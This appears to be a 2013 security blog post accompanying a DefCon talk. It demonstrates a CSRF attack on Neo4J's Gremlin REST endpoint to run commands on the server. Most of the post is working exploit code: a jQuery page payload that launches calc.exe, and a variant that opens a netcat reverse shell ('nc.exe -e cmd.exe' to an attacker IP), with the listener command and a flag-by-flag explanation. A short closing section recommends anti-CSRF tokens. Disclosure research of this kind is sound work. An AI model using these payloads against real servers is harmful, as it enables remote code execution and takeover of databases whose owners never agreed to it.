Tuesday 6 August 2013

Neo4J CSRF payload to start processes (calc and nc) on the server

The first demo that we showed at the DefCon REST Presentation was how to use CSRF to exploit the Neo4J remote code execution feature (provided by groovy).

The reason CSRF was used, is because by default, the REST API that allows the web UI to pass a groovy script, is only available on localhost.

Abe and Alvaro's concern (and the reason we showed this in action) is that a considerable number of Neo4J admins fail to read the guidance provided here: http://docs.neo4j.org/chunked/stable/security-server.html

image

specially this section:

image

As you can see on the draft notes about this:

image

... there are (at least) two REST apis that can be used to execute java commands.

Starting calc on the server

Here is the CSRF exploit scenario: the neo4j admin is exposed (via email, twitter, reddit, rss feed, etc...) to a link pointing to a page that looks like this:

image

Inside that page, there is this payload:

<script src="jquery-1.6.4.min.js" ></script>
<script>
    $(function()
        {
            var url = 'http://localhost:7474/db/data/ext/GremlinPlugin/graphdb/execute_script';
            var data = '{"script":"import java.lang.Runtime;rt = Runtime.getRuntime().exec(\\"c:/Windows/System32/calc.exe\\")", "params": {} }';
            var success = function() { $("h2").html('Class XmlDecoder (with some extra juice)') }
            
            $.ajax({
              type: "POST",
              url: url,
              data: data,
              contentType: "application/json",
              success: success
            });
        });
</script>


Here is a quick description of that happens when the page loads:
  • jquery is loaded into the page (since it was not there)
  • a callback function is set to be executed when the page loads
  • a JSON POST request is sent to  http://localhost:7474/db/data/ext/GremlinPlugin/graphdb/execute_script 
  • with the post data: {"script":"import java.lang.Runtime;rt = Runtime.getRuntime().exec(\\"c:/Windows/System32/calc.exe\\")", "params": {} }
  • which is basically a JSON way of saying: ‘Hey server, can you execute this groovy script for me: import java.lang.Runtime;rt = Runtime.getRuntime().exec(\\"c:/Windows/System32/calc.exe\\")"
  • finally as you probably have guessed, that is a simplified Java code snippet to start a new process on the server (in this case calc.exe)
  • note: as a visual clue that the exploit worked, I also set-up an jQuery Ajax onSuccess callback function, to chang the text of an H2 html tag.
Sending a reverse shell into an external box

Since we were at DefCon, which is mostly about exploitation, I also showed the cool trick of sending a reverse shell into the attacker's computer using nc (NetCat).

Here it is the set-up to create this reverse shell:

... on the attacker's box (VM Fusion on OSX) execute: nc –l 1234

... change the CSRF payload to:

<script src="jquery-1.6.4.min.js" ></script>
<script>
    $(function()
        {
            var url = 'http://localhost:7474/db/data/ext/GremlinPlugin/graphdb/execute_script';
            var data = '{"script":"import java.lang.Runtime;rt = Runtime.getRuntime().exec(\\"../../nc.exe -e cmd.exe 192.168.213.1 1234\\")", "params": {}}';
            var success = function() { $("h2").html('Class XmlDecoder (with some even more extra juice)') }

            $.ajax({
              type: "POST",
              url: url,
              data: data,
              contentType: "application/json",
              success: success
            });
        });
</script>

... and open the link on the victim's Windows VM

As you saw on by the previous description, this AJAX request triggers the server side execution of:

../../nc.exe -e cmd.exe 192.168.213.1 1234

If you are not that familiar with NetCat (nc)  here is what that command does:
  • nc.exe         :    starts NetCat
  • -e cmd.exe  : starts cmd.exe and binds:
    • the cmd.exe process Outputstream into the NetCat’s process InputStream, and
    • the cmd.exe process InputStream into the NetCat’s process OutputStream
  • 192.168.213.1 : IP address of attacker server
  • 1234                : port on the attacker's IP (which could be set 80 or 443 to try to make the attack more stealth)

When a feature is a vulnerability

This case is interesting because the capability to run java commands on the server is a big feature that comes by default with Neo4J (which means that 'this feature' it is part of what makes Neo4J popular, and there is little chance it will be removed)

The solution then is to add a unique token to the request.

For a code sample of what it looks like take a look at this a TeamMentor Article on Cross-Site Request Forgery (CSRF) Prevention Using Plain Java Server Pages (JSP) (see also these 11 CSRF related articles )

Presentation slides

See this page for the presentation slides (hosted by SlideShare)